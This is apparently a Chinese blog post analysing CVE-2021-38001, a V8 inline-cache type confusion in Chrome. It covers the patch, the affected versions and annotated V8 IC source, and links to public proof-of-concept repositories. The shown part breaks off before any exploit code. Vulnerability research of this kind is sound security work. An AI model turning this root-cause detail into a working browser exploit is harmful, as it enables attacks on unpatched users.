cve-2021-38001-分析

字数统计: 15.9k字   |   阅读时长≈ 74分

2021 天府杯的Chrome漏洞。当@exp-sky分配给我这个任务时，给我的要求就是独立完成+尽全力做到极致+没有时间和目标要求；感谢sky让我野蛮生长，也不断给我鼓励。什么时候能成为像sky这么厉害的人呢？(崇拜之情溢于言表)

CVE-2021-38001

漏洞简介

漏洞描述

Issue 1260577 于2021年10月16日天府杯提交，CVE编号为CVE-2021-38001，漏洞描述为Type confusion in V8 in Google Chrome prior to 95.0.4638.69 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. 。可以知道该漏洞是位于Chrome的JS处理引擎V8中的类型混淆漏洞。

现该Issue在bugs.chromium上还未有公开的文档，但是根据查阅对应版本的patch文件和描述[super ic] Fix receiver vs lookup start object confusion related to module exports，可知漏洞点位于src/ic/ic.cc和src/ic/accessor-assembler.cc两份代码中，漏洞的主要原因是在属性访问指令LoadSuperIC创建IC handler时处理的对象为holder，而在加载IC handler使用时处理的对象为p->receiver()，由于这两个对象的类型可以不一致，导致了类型混淆漏洞。

找到两份该漏洞的公开POC，分别来自：https://github.com/vngkv123/aSiagaming/tree/master/Chrome-v8-1260577 和 https://github.com/Peterpan0927/TFC-Chrome-v8-bug-CVE-2021-38001-poc 。第一份包含了完整的漏洞利用，第二份仅能触发崩溃。

根据该漏洞描述，能够找到类似的漏洞：CVE-2021-30517，该漏洞也存在于IC创建和处理流程中。对于call_handler类型的IC创建时传入的参数为p->lookup_start_object()，而IC处理时传入的参数为p->receiver()，最终导致了类型混淆漏洞。

影响范围

根据漏洞描述，该漏洞影响chrome在95.0.4638.69及之前的版本，即影响chromium在 66a46a9e6b68454d656207831ca3a6eb7332c7a4及之前的版本，受影响的V8为b5fa92428c9d4516ebdc72643ea980d8bde8f987及之前的版本。

该漏洞的引入，在chromium_source里的blame查看该代码文件的修改历史记录，可以发现是在2017-8-26的24b8877中为了实现Speed up access to module exports而引入，在该commit第一次在src/ic/accessor-assembler.cc中的AccessorAssembler::HandleLoadICSmiHandlerCase中引入了漏洞代码。

而漏洞的修复是在2021-10-18的e4dba97，在这两个版本之间的代码都受该漏洞的影响。

环境搭建

这里我们选择调试的V8版本为b5fa92428c9d4516ebdc72643ea980d8bde8f987,为了方便在release版本下调试，在编译前使用如下命令在args.gn中加入环境变量：

1
gn gen out.gn/x64.release/ --args='is_debug = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true symbol_level=2 target_cpu = "x64" v8_untrusted_code_mitigations = false'

基础知识

prototype原型链

JavaScript 只有一种结构:对象，当存在继承时，每个实例对象（object）都有一个私有属性（称之为__proto__）指向它的构造函数的原型对象（prototype）。该原型对象也有一个自己的原型对象（__proto__），层层向上直到一个对象的原型对象为 null。根据定义，null 没有原型，并作为这个原型链中的最后一个环节。

几乎所有 JavaScript 中的对象都是位于原型链顶端的 Object 的实例。

原型链具有继承属性，寻找某个成员变量时，会对原型链进行遍历查找。如下代码：

1
2
3
4
5
function doSomething(){}
doSomething.prototype.foo = "bar"; // add a property onto the prototype
var doSomeInstancing = new doSomething();
doSomeInstancing.prop = "some value"; // add a property onto the object
console.log( doSomeInstancing );

如上所示, doSomeInstancing 中的__proto__是 doSomething.prototype。当访问doSomeInstancing 中的一个属性，首先会查看doSomeInstancing 中是否存在这个属性。

如果 doSomeInstancing 不包含属性信息, 那么就会在 doSomeInstancing 的 __proto__ 中进行查找(同 doSomething.prototype)。 如属性在 doSomeInstancing 的 __proto__ 中查找到，则使用 doSomeInstancing 中 __proto__ 的属性。如果 doSomeInstancing 中 __proto__ 不具有该属性，同理，则检查doSomeInstancing 的 __proto__ 的 __proto__ 是否具有该属性。

所以，可以通过修改对象的__proto__，来为其增加一个继承的父类。

深入了解，可参考这篇文章：继承与原型链

Inline cache

Inline cache是V8中引入的用于提高属性访问效率的优化机制，其会存储去何处寻找一个对象的属性的相关信息，来减少属性遍历查找的的开销。

用如下示例代码，简单说明其实现的思想：

1
2
3
function getX(point) {
    return point.x;
}

这句代码，会对point对象的x属性进行访问。那么一个简单的遍历查找属性的方法，可以总结思路1如下：

  1. 从对象的 Map 中获得 instance_descriptors。
  2. instance_descriptors 遍历获取到 key 存储的位置（在对象内还是在 properties 中）。
  3. 调用特定的方法读取属性值。

但是，如果对这行代码多次调用执行时，上面的处理思路因为需要不断遍历获取key值，所以会消耗大量的时间。这里如果我们用一个slot将属性 x 的存取位置和其对应的JSObject<Map>存储下来，就可以在多次执行时减少遍历的消耗。

那么，此时的思路2可以总结为：

  1. 判断对象的 Map 与之前缓存的是否相同。
  2. 如相同，直接从缓存的位置读取。
  3. 如不同，调用第一种思路1通过遍历获取。

但是，如果存在这个对象的Map在不断变化，那么我们思路2中其实 只会不断执行第3步，这会导致我们的缓存命中率降低，优化失效，例如如下代码：

1
2
3
4
5
6
7
for (var i = 0; i < 10000; i++) {
    if (i % 2) {
        getX({x : 1});
    } else {
        getX({x : 1, y : 2});
    }
}

所以，我们可以将缓存由单一存储改为哈希表模式，将其遇到的 Map 及其属性值存取位置全部缓存下来。这样即使Map值在不断变化，我们也能够迅速找到对应属性。

这里V8会将上述的map和缓存位置handler存储在一个FeedbackSlotCache中，之后相同函数对同一个名称的属性进行访问时，就会共享这些Feedback。

这里我们把 point.x 称之为一个 callsite，把 “x” 称之为一条名为 “x” 的消息，而实际执行的 point （无论是 {x : 1}，还是 {x : 1, y : 2}）称之为这个 callsite 的 receiver。

总结：JavaScript 中很多操作的执行过程异常复杂，但对于特定调用（callsite） 来说receiver 类型（Map）的变化一般很小，V8 采用内联缓存（Inline Caches，简称IC）来缓存调用的实现以优化这些操作的执行过程。

IC根据接受到的消息类型，而有了不同的状体：

image

  • 当 IC 刚被创建时为初态（没有调用过），没有接收到任何一种类型信息。

  • 当被调用时：

    • 如果接收到 1 种类型信息会迁移到单态模式（MONOMORPHIC）。
    • 收到大于 1 种小于 4 种类型信息会迁移到多态模式（POLYMORPHIC）。
    • 当接收到大于 4 种类型信息时会迁移到复态模式（MEGAMORPHIC）。

深入了解，可参考这篇文章：JavaScript engine fundamentals: Shapes and Inline Caches

Named property load 处理

以一个示例代码，来说明发生Named property load属性访问时，整个IC的生成和处理流程。

1
2
let o = {x: 1, y: 2};
o.x;

Bytecode & Feedback

首先输出这个示例的 bytecode，如下所示：

1
2
3
4
5
6
7
0x1d260829330e @    0 : 7b 00 00 29       CreateObjectLiteral [0], [0], #41
    0x1d2608293312 @    4 : 25 02             StaCurrentContextSlot [2]
    0x1d2608293314 @    6 : 16 02             LdaCurrentContextSlot [2]
    0x1d2608293316 @    8 : c2                Star1 
    0x1d2608293317 @    9 : 2d f9 01 01       LdaNamedProperty r1, [1], [1]
    0x1d260829331b @   13 : c3                Star0 
    0x1d260829331c @   14 : a8                Return

从上面的字节码处理中，可以看到其会执行LdaNameProperty属性加载操作，这里LdaNamedProperty r1, [1], [1]字节码的含义是：

LdaNamedProperty 将 r1 的命名属性加载到累加器中。ri 指向 incrementX() 的第 i 个参数。在这个例子中，我们在 r1 上查找一个命名属性，这是 incrementX() 的第二个参数。该属性名由常量 1 确定。LdaNamedProperty 使用 1 在单独的表中查找名称：

1
2
3
4
5
6
7
8
Constant pool (size = 2)
0x1d26082932dd: [FixedArray] in OldSpace
 - map: 0x1d2608002205 <Map>
 - length: 2
           0: 0x1d26082932c1 <ObjectBoilerplateDescription[5]>
           1: 0x1d2608293245 <String[1]: #x>
Handler Table (size = 0)
Source Position Table (size = 0

可以看到，1 映射到了 x。因此这行字节码的意思是加载 o.x。

那么值为 1 的操作数是干什么的呢？ 它是函数 incrementX() 的反馈向量feedback的索引。反馈向量包含用于IC性能优化的 runtime 信息，其本质就是上文中提到的IC存储的信息。

这里提到的feedback，可以用一个如下示例说明

1
2
3
4
5
6
7
8
9
10
function f(o) {
  return o.x
}

%PrepareFunctionForOptimization(f);
%OptimizeFunctionOnNextCall(f);
%DebugPrint(f);
f({ x: 1 });
f({ x: 2 });
%DebugPrint(f);

这里只关注输出的feedback信息如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
- feedback vector: 0x10a30829354d: [FeedbackVector] in OldSpace
 - map: 0x10a308002711 <Map>
 - length: 2
 - shared function info: 0x10a308293339 <SharedFunctionInfo f>
 - no optimized code
 - optimization marker: OptimizationMarker::kCompileOptimized
 - optimization tier: OptimizationTier::kNone
 - invocation count: 0
 - profiler ticks: 0
 - closure feedback cell array: 0x10a30800328d: [ClosureFeedbackCellArray] in ReadOnlySpace
 - map: 0x10a308002955 <Map>
 - length: 0

 - slot #0 LoadProperty UNINITIALIZED {
     [0]: 0x10a3080053fd <Symbol: (uninitialized_symbol)>
     [1]: 0x10a3080053fd <Symbol: (uninitialized_symbol)>
  }


- feedback vector: 0x10a30829354d: [FeedbackVector] in OldSpace
 - map: 0x10a308002711 <Map>
 - length: 2
 - shared function info: 0x10a308293339 <SharedFunctionInfo f>
 - no optimized code
 - optimization marker: OptimizationMarker::kNone
 - optimization tier: OptimizationTier::kNone
 - invocation count: 1
 - profiler ticks: 0
 - closure feedback cell array: 0x10a30800328d: [ClosureFeedbackCellArray] in ReadOnlySpace
 - map: 0x10a308002955 <Map>
 - length: 0

 - slot #0 LoadProperty MONOMORPHIC {
     [0]: [weak] 0x10a3082c7aa1 <Map(HOLEY_ELEMENTS)>
     [1]: 1668
  }

在没有执行函数f时，可以看到此时的feedback状态为UNINTIALIZED，这和我们上面说的IC的5个状态符合。

接着，执行了两次f函数，feedback状态变为了MONOMORPHIC，且有了两条slot，slot[0]存储了指向函数f的Map信息（用于比较当前对象是否发生改变）；slot[1]存储的是的handler(存储用于辅助属性查找的位置)

LdaNamedProperty

接着继续说LdaNamedProperty函数，这个操作对应到源码./src/interpreter/interpreter-generator.cc中的如下代码，该代码是V8为LdaNamedProperty的实现构建的节点图,最终会在编译V8的过程中生成汇编代码。所以我们想要直接去对该函数下载地址断点，是不成功的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// LdaNamedProperty <object> <name_index> <slot>
//
// Calls the LoadIC at FeedBackVector slot <slot> for <object> and the name at
// constant pool entry <name_index>.
IGNITION_HANDLER(LdaNamedProperty, InterpreterAssembler) {
  TNode<HeapObject> feedback_vector = -();

  // Load receiver.
  //根据寄存器编号获取寄存器的值
  TNode<Object> recv = LoadRegisterAtOperandIndex(0);

  // Load the name and context lazily.
  //
  LazyNode<TaggedIndex> lazy_slot = [=] {
    return BytecodeOperandIdxTaggedIndex(2);
  };
  LazyNode<Name> lazy_name = [=] {
    return CAST(LoadConstantPoolEntryAtOperandIndex(1));
  };
  LazyNode<Context> lazy_context = [=] { return GetContext(); };

  Label done(this);
  TVARIABLE(Object, var_result);
  ExitPoint exit_point(this, &done, &var_result);

  AccessorAssembler::LazyLoadICParameters params(lazy_context, recv, lazy_name,
                                                 lazy_slot, feedback_vector);
  AccessorAssembler accessor_asm(state());
  //访问编译，调用LoadIC_BytecodeHandler
  accessor_asm.LoadIC_BytecodeHandler(&params, &exit_point);

  BIND(&done);
  {
    SetAccumulator(var_result.value());
    Dispatch();
  }
}

LdaNamedProperty函数首先会获取此时访问的recv和laze_name，在示例代码众，这里的recv是o，lazy_name是x。接着会去调用LoadIC_BytecodeHandler来真正处理属性访问。

LoadIC_BytecodeHandler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
void AccessorAssembler::LoadIC_BytecodeHandler(const LazyLoadICParameters* p,
                                               ExitPoint* exit_point) {
  Label stub_call(this, Label::kDeferred), miss(this, Label::kDeferred),
      no_feedback(this, Label::kDeferred);
	//检查是否有p->vector，是否含有feedbackvector
  GotoIf(IsUndefined(p->vector()), &no_feedback);
	//接着获取lookup_start_object_map
  TNode<Map> lookup_start_object_map =
      LoadReceiverMap(p->receiver_and_lookup_start_object());
  //判断lookup_start_object_map是否为deprecated，如果是进入miss
  //判断要处理的对象receiver是否面临过期，过期表示该对象新增或删减了属性，直接跳到LoadIC_Miss过程
  GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);

  // Inlined fast path.
  {
    Comment("LoadIC_BytecodeHandler_fast");
		//进入内联的快速路径
    TVARIABLE(MaybeObject, var_handler);
    Label try_polymorphic(this), if_handler(this, &var_handler);
		//检查IC是否为MonomorphiCase，如果是直接从IC中获取信息并加载属性
    //该函数的判断方法是根据feedbackvector中存取的信息判断是否是monomorphic状态
    TNode<MaybeObject> feedback = TryMonomorphicCase(
        p->slot(), CAST(p->vector()), lookup_start_object_map, &if_handler,
        &var_handler, &try_polymorphic);

    BIND(&if_handler);
    //处理feedbackvector中存储的IC包含要加载的情况
    HandleLoadICHandlerCase(p, CAST(var_handler.value()), &miss, exit_point);
		//检查是否为polymorphic
    BIND(&try_polymorphic);
    {
      TNode<HeapObject> strong_feedback =
          GetHeapObjectIfStrong(feedback, &miss);
      //进入stub_call
      //判断feedback中是否是强引用且存储了WeakFixedArrayMap,是的话代表目前IC的状态是Polymorphic, 否则跳转到LOADIC_miss或stub_call
      GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &stub_call);
      HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
                            &if_handler, &var_handler, &miss);
    }
  }

  BIND(&stub_call);
  {
    Comment("LoadIC_BytecodeHandler_noninlined");
		//跳到stub_call代表该次调用没有IC,就调用Builtin kLoadIC_Noninlined
    // Call into the stub that implements the non-inlined parts of LoadIC.
    Callable ic = Builtins::CallableFor(isolate(), Builtin::kLoadIC_Noninlined);
    TNode<Code> code_target = HeapConstant(ic.code());
    exit_point->ReturnCallStub(ic.descriptor(), code_target, p->context(),
                               p->receiver_and_lookup_start_object(), p->name(),
                               p->slot(), p->vector());
  }
	
  BIND(&no_feedback);
  {
    //在no_feedback中，会先调用ReturnCallStub，这里传入的参数是p->receiver()
    Comment("LoadIC_BytecodeHandler_nofeedback");
    // Call into the stub that implements the non-inlined parts of LoadIC.
    exit_point->ReturnCallStub(
        Builtins::CallableFor(isolate(), Builtin::kLoadIC_NoFeedback),
        p->context(), p->receiver(), p->name(),
        SmiConstant(FeedbackSlotKind::kLoadProperty));
  }

  BIND(&miss);
  {
    Comment("LoadIC_BytecodeHandler_miss");
		//在miss中，会调用ReturnCallRuntime，这里传入的也是p->receiver()
    exit_point->ReturnCallRuntime(Runtime::kLoadIC_Miss, p->context(),
                                  p->receiver(), p->name(), p->slot(),
                                  p->vector());
  }
}

该函数的执行逻辑如下：

1、 判断p->vector是否有feedbackvector，如果没有feedback，则进入no_feedback流程；

2、 从map中获取第一个遍历的map结构体lookup_start_object_map，接着判断该结构是否过期（表示该对象进行了属性的增减），如果是则进入miss流程，若不是则顺序执行

3、 接着进入快速路径处理流程，首先进行monomorphic状态的检查，这里是根据feedbackvector中存取的信息来判断是否是monomorphic状态，如果是则从vector中取出handler并跳到if_handler中，

4、 如果不是monomorphic，则进入polymorphic状态检查，会判断feedback中是否是强引用且存储了WeakFixedArrayMap,是的话代表目前IC的状态是Polymorphic, 否则跳转到LOADIC_miss或stub_call

5、 如果进入了stub_call代表该次调用没有IC，就调用Builtin kLoadIC_Noninlined

6、 如果进入了no_feedback，会先调用LoadIC_NoFeedback

7、 如果进入了miss，会调用LoadIC_Miss，这里传入的是p->receiver()

这里面提到了receiver，是指发生call调用时，被作为this传递的对象。lookup_start_object是指进行原型查找时的第一个原型，可以是其本属性，也可以是其原型链上的其他对象。

当我们第一次对该属性进行访问且IC机制已经启动时，此时Feedback还没有建立，那么会跳入LoadIC_NoFeedback去创建feedback。那么接下来分析Feedback创建流程：

LoadIC_NoFeedback

LoadIC_NoFeedback

这里首先关注LoadIC_NoFeedback的处理流程，首先进入LoadIC_NoFeedback函数，如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void AccessorAssembler::LoadIC_NoFeedback(const LoadICParameters* p,
                                          TNode<Smi> ic_kind) {
  Label miss(this, Label::kDeferred);
  //获取遍历查找的第一个对象
  TNode<Object> lookup_start_object = p->receiver_and_lookup_start_object();
  //判断该对象是否是smi，如果是则进入miss
  GotoIf(TaggedIsSmi(lookup_start_object), &miss);
  //接着加载遍历查询的第一个map
  TNode<Map> lookup_start_object_map = LoadMap(CAST(lookup_start_object));
  //然后判断该map结构是否过期，即判断该map对象是否有增删变量
  GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);
  //获取实例类型
  TNode<Uint16T> instance_type = LoadMapInstanceType(lookup_start_object_map);

  {
    // Special case for Function.prototype load, because it's very common
    // for ICs that are only executed once (MyFunc.prototype.foo = ...).
    Label not_function_prototype(this, Label::kDeferred);
    //判断实例类型
    GotoIfNot(IsJSFunctionInstanceType(instance_type), &not_function_prototype);
    GotoIfNot(IsPrototypeString(p->name()), &not_function_prototype);

    GotoIfPrototypeRequiresRuntimeLookup(CAST(lookup_start_object),
                                         lookup_start_object_map,
                                         &not_function_prototype);
    //直接返回JSFunction类型的handler
    Return(LoadJSFunctionPrototype(CAST(lookup_start_object), &miss));
    BIND(&not_function_prototype);
  }
	//对lookup_start_object对象执行相应检查
  GenericPropertyLoad(CAST(lookup_start_object), lookup_start_object_map,
                      instance_type, p, &miss, kDontUseStubCache);

  BIND(&miss);
  {
    //最终进入该函数
    TailCallRuntime(Runtime::kLoadNoFeedbackIC_Miss, p->context(),
                    p->receiver(), p->name(), ic_kind);
  }
}

LoadIC_NoFeedback函数的处理流程如下：

1、 首先获得第一个对象，然后判断该对象是否为smi，如果是进入miss阶段

2、 接着判断对象map是否过期，即判断该对象是否有增删变量，如果是也进入miss阶段

3、 接着根据map获取实例类型instance_type，然后判断该对象是否为JSFunction类型、判断其p->name是否为原型字符，判断是否要在运行时去遍历查找prototype，如果不是则进入not_function_prototype；

4、 随后会去执行GenericPropertyLoad函数进行相关检查，最后也会去执行LoadNoFeedbackIC_Miss函数

这个函数的主要目的，是判断当前对象的Map是否被修改，如果被修改了也意味着需要去为新Map对象创建IC。

Runtime_LoadNoFeedbackIC_Miss
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
RUNTIME_FUNCTION(Runtime_LoadNoFeedbackIC_Miss) {
  HandleScope scope(isolate);
  DCHECK_EQ(3, args.length());
  // Runtime functions don't follow the IC's calling convention.
  //获取参数
  Handle<Object> receiver = args.at(0);
  Handle<Name> key = args.at<Name>(1);
  CONVERT_INT32_ARG_CHECKED(slot_kind, 2);
  FeedbackSlotKind kind = static_cast<FeedbackSlotKind>(slot_kind);
	//创建feedback向量和vector_slot
  Handle<FeedbackVector> vector = Handle<FeedbackVector>();
  FeedbackSlot vector_slot = FeedbackSlot::Invalid();
  // This function is only called after looking up in the ScriptContextTable so
  // it is safe to call LoadIC::Load for global loads as well.
  //获取IC 状态
  LoadIC ic(isolate, vector, vector_slot, kind);
  //更新IC状态
  ic.UpdateState(receiver, key);
  //调用Load函数
  RETURN_RESULT_OR_FAILURE(isolate, ic.Load(receiver, key));
}

流程如下：

1、 获取传入的receiver、key值，然后创建新的feedback向量和索引

2、 调用ic获取当前ic的状态，随后调用UpdateState更新IC的状态

3、 最后调用ic.Load函数去进行ic设置和属性获取

这个函数的主要目的就是更新当前IC的状态，然后去创建为当前Map创建Feedback反馈向量

ic.Load
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
//调用 LoadIC
MaybeHandle<Object> LoadIC::Load(Handle<Object> object, Handle<Name> name,
                                 bool update_feedback,
                                 Handle<Object> receiver) {
  bool use_ic = (state() != NO_FEEDBACK) && FLAG_use_ic && update_feedback;

  if (receiver.is_null()) {
    receiver = object;
  }

  // If the object is undefined or null it's illegal to try to get any
  // of its properties; throw a TypeError in that case.
	
  ...
    
  // If we encounter an object with a deprecated map, we want to update the
  // feedback vector with the migrated map.
  // Mark ourselves as RECOMPUTE_HANDLER so that we don't turn megamorphic due
  // to seeing the same map and handler.
  //检查Map是否过期，若过期进行Object的MAP状态转移
  if (MigrateDeprecated(isolate(), object)) {
    UpdateState(object, name);
  }

  JSObject::MakePrototypesFast(object, kStartAtReceiver, isolate());
  //重新获取Map
  update_lookup_start_object_map(object);	

  PropertyKey key(isolate(), name);
  //V8封装的迭代器,从IC中查找Map
  LookupIterator it = LookupIterator(isolate(), receiver, key, object);

  // Named lookup in the object.
  LookupForRead(&it, IsAnyHas());
	
  //对对象map进行检查
  ...
  
  if (it.IsFound() || !ShouldThrowReferenceError()) {
    // Update inline cache and stub cache.
    if (use_ic) {
      //更新inline cache
      UpdateCaches(&it);  
    } else if (state() == NO_FEEDBACK) {
      // Tracing IC stats
      IsLoadGlobalIC() ? TraceIC("LoadGlobalIC", name)
                       : TraceIC("LoadIC", name);
    }

    if (IsAnyHas()) {
      // Named lookup in the object.
      Maybe<bool> maybe = JSReceiver::HasProperty(&it);
      if (maybe.IsNothing()) return MaybeHandle<Object>();
      return maybe.FromJust() ? ReadOnlyRoots(isolate()).true_value_handle()
                              : ReadOnlyRoots(isolate()).false_value_handle();
    }

    // Get the property.
    Handle<Object> result;
		//返回结果
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate(), result, Object::GetProperty(&it, IsLoadGlobalIC()), Object);
    if (it.IsFound()) {
      return result;
    } else if (!ShouldThrowReferenceError()) {
      LOG(isolate(), SuspectReadEvent(*name, *object));
      return result;
    }
  }
  return ReferenceError(name);
}

总结：

1、 首先会对map进行检测，如果map改变，则调用UpdateState进行状态更新

2、 随后会对map->name进行检查，检查是否为 private

3、 然后会进入UpdateCaches，对IC进行更新

该函数的主要目的是调用UpdateCaches更新整个缓存。

UpdateCaches

接着在看UpdateCaches

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void LoadIC::UpdateCaches(LookupIterator* lookup) {
  Handle<Object> handler;
  //如果lookup状态为ACCESS_CHECK,则更新handler
  if (lookup->state() == LookupIterator::ACCESS_CHECK) {
    handler = LoadHandler::LoadSlow(isolate());
  } else if (!lookup->IsFound()) {
    //lookup不存在
    TRACE_HANDLER_STATS(isolate(), LoadIC_LoadNonexistentDH);
    Handle<Smi> smi_handler = LoadHandler::LoadNonExistent(isolate());
    //从lookup_start_object_map中获取handler
    handler = LoadHandler::LoadFullChain(
        isolate(), lookup_start_object_map(),
        MaybeObjectHandle(isolate()->factory()->null_value()), smi_handler);
  } else if (IsLoadGlobalIC() && lookup->state() == LookupIterator::JSPROXY) {
    //获取全局IC，且状态为JSPROXY
    // If there is proxy just install the slow stub since we need to call the
    // HasProperty trap for global loads. The ProxyGetProperty builtin doesn't
    // handle this case.
    handler = LoadHandler::LoadSlow(isolate());
  } else {
    if (IsLoadGlobalIC()) {
      //查找cache属性
      if (lookup->TryLookupCachedProperty()) {
        DCHECK_EQ(LookupIterator::DATA, lookup->state());
      }
      //
      if (lookup->state() == LookupIterator::DATA &&
          lookup->GetReceiver().is_identical_to(lookup->GetHolder<Object>())) {
        DCHECK(lookup->GetReceiver()->IsJSGlobalObject());
        // Now update the cell in the feedback vector.
        nexus()->ConfigurePropertyCellMode(lookup->GetPropertyCell());
        TraceIC("LoadGlobalIC", lookup->name());
        return;
      }
    }
    //调用ComputeHandler，生成Handler
    handler = ComputeHandler(lookup); //
  }
  // Can't use {lookup->name()} because the LookupIterator might be in
  // "elements" mode for keys that are strings representing integers above
  // JSArray::kMaxIndex.
  //为新的feedback设置handler
  SetCache(lookup->GetName(), handler);
  TraceIC("LoadIC", lookup->GetName());
}

总结：

1、 首先对lookup进行状态检测，并判断需要处理的IC是否为全局IC

2、 最终会进入ComputeHandler中，去生成handler

ComputeHandler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
  Handle<Object> receiver = lookup->GetReceiver();
  ReadOnlyRoots roots(isolate());
	//起始遍历原型链
  Handle<Object> lookup_start_object = lookup->lookup_start_object();
  // `in` cannot be called on strings, and will always return true for string
  // wrapper length and function prototypes. The latter two cases are given
  // LoadHandler::LoadNativeDataProperty below.
  if (!IsAnyHas() && !lookup->IsElement()) {
    if (lookup_start_object->IsString() &&
        *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
      return CodeHandler(Builtin::kLoadIC_StringLength);
    }

    if (lookup_start_object->IsStringWrapper() &&
        *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
      return CodeHandler(Builtin::kLoadIC_StringWrapperLength);
    }

    // Use specialized code for getting prototype of functions.
    if (lookup_start_object->IsJSFunction() &&
        *lookup->name() == roots.prototype_string() &&
        !JSFunction::cast(*lookup_start_object)
             .PrototypeRequiresRuntimeLookup()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
      return CodeHandler(Builtin::kLoadIC_FunctionPrototype);
    }
  }

  Handle<Map> map = lookup_start_object_map();
  bool holder_is_lookup_start_object =
      lookup_start_object.is_identical_to(lookup->GetHolder<JSReceiver>());

  switch (lookup->state()) {

    case LookupIterator::ACCESSOR: {
      //获取holder
      Handle<JSObject> holder = lookup->GetHolder<JSObject>();
      // Use simple field loads for some well-known callback properties.
      // The method will only return true for absolute truths based on the
      // lookup start object maps.
      FieldIndex index;
      if (Accessors::IsJSObjectFieldAccessor(isolate(), map, lookup->name(),
                                             &index)) {
        TRACE_HANDLER_STATS(isolate(), LoadIC_LoadFieldDH);
        return LoadHandler::LoadField(isolate(), index);
      }
      //判断holder类型，计算得到相应的handelr
      if (holder->IsJSModuleNamespace()) {
        Handle<ObjectHashTable> exports(
            Handle<JSModuleNamespace>::cast(holder)->module().exports(),
            isolate());
        InternalIndex entry =
            exports->FindEntry(isolate(), roots, lookup->name(),
                               Smi::ToInt(lookup->name()->GetHash()));
        // We found the accessor, so the entry must exist.
        DCHECK(entry.is_found());
        int index = ObjectHashTable::EntryToValueIndex(entry);
        return LoadHandler::LoadModuleExport(isolate(), index);
      }

	...
    
  
  return Handle<Code>::null();
}

总结：

1、 开始也会对lookup_start_object进行判断，随后根据lookup->state的状态进行对应的处理；

2、 这里由于是对属性进行访问，所以会进入ACCESSOR状态，可以看到这里是对hodler进行处理。

3、 在ACCESSOR中，会根据holder类型，来计算属性访问的位置handler。

最终，为示例代码的属性访问生成了一条Feedback，如下所示：

1
2
3
4
slot #1 LoadProperty MONOMORPHIC {
     [1]: [weak] 0x01f008207aa1 <Map(HOLEY_ELEMENTS)>
     [2]: 1668
  }

这里handler的是怎么计算的，以及其含义如何，在下面调试分析时再进一步说明。

Monomorphic状态处理

根据最开始LoadIC_BytecodeHandler的处理流程，当我们的对某个属性的访问超过2次后，就会进入Monomorphic状态处理流程。

1
2
3
4
5
6
7
8
9
10
  Label try_polymorphic(this), if_handler(this, &var_handler);
//检查IC是否为MonomorphiCase，如果是直接从IC中获取信息并加载属性
  //该函数的判断方法是根据feedbackvector中存取的信息判断是否是monomorphic状态
  TNode<MaybeObject> feedback = TryMonomorphicCase(
      p->slot(), CAST(p->vector()), lookup_start_object_map, &if_handler,
      &var_handler, &try_polymorphic);

  BIND(&if_handler);
  //处理feedbackvector中存储的IC包含要加载的情况
  HandleLoadICHandlerCase(p, CAST(var_handler.value()), &miss, exit_point);

可以看到其首先通过TryMonomorphicCase函数去获取此时feedback状态是否为monomorphic，如果是则设置if_handler。

然后进入HandleLoadICHandlerCase处理。

HandleLoadICHandlerCase
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void AccessorAssembler::HandleLoadICHandlerCase(
    const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
    ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
    ElementSupport support_elements, LoadAccessMode access_mode) {
  Comment("have_handler");
	//获取对象类型
  TVARIABLE(Object, var_holder, p->lookup_start_object());
  TVARIABLE(Object, var_smi_handler, handler);
	//判断handler状态
  Label if_smi_handler(this, {&var_holder, &var_smi_handler});
  Label try_proto_handler(this, Label::kDeferred),
      call_handler(this, Label::kDeferred);

  Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler);

  BIND(&try_proto_handler);
  {
    GotoIf(IsCodeT(CAST(handler)), &call_handler);
    HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,
                             &if_smi_handler, miss, exit_point, ic_mode,
                             access_mode);
  }

  // |handler| is a Smi, encoding what to do. See SmiHandler methods
  // for the encoding format.
  BIND(&if_smi_handler);
  {
    HandleLoadICSmiHandlerCase(
        p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
        exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
  }

  BIND(&call_handler);
  {
